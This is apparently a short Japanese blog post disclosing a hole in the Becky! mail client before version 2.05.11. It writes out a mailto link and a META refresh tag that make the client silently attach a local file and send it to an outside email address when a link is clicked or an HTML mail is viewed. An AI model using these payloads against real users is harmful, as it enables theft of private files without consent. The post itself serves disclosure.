Becky! のセキュリティホール

基本はこういうリンクをクリック且つ、mailto プロトコルが Becky! に関連づけられているとヤバイんだが、

mailto:masutaka.net@gmail.com?X-Becky-Attachment=C:\tmp\clmemo_sjis.txt&X-Becky-Action=send&subject=End_of_the_life&body=moudamepo

こういうファイルをブラウザで表示且つ、mailto プロトコルがBecky! に関連づけられている場合もヤバイみたい。

<META http-equiv=Refresh content="0; URL=mailto:masutaka.net@gmail.com?Subject=hello&X-Becky-Action=send&X-Becky-Attachment=C:\tmp\clmemo_sjis.txt">

HTML メールを Becky! で表示させていると、メールを見た瞬間に…。
(ver 2.05.11 以前の話。Ver1 は大丈夫だった。)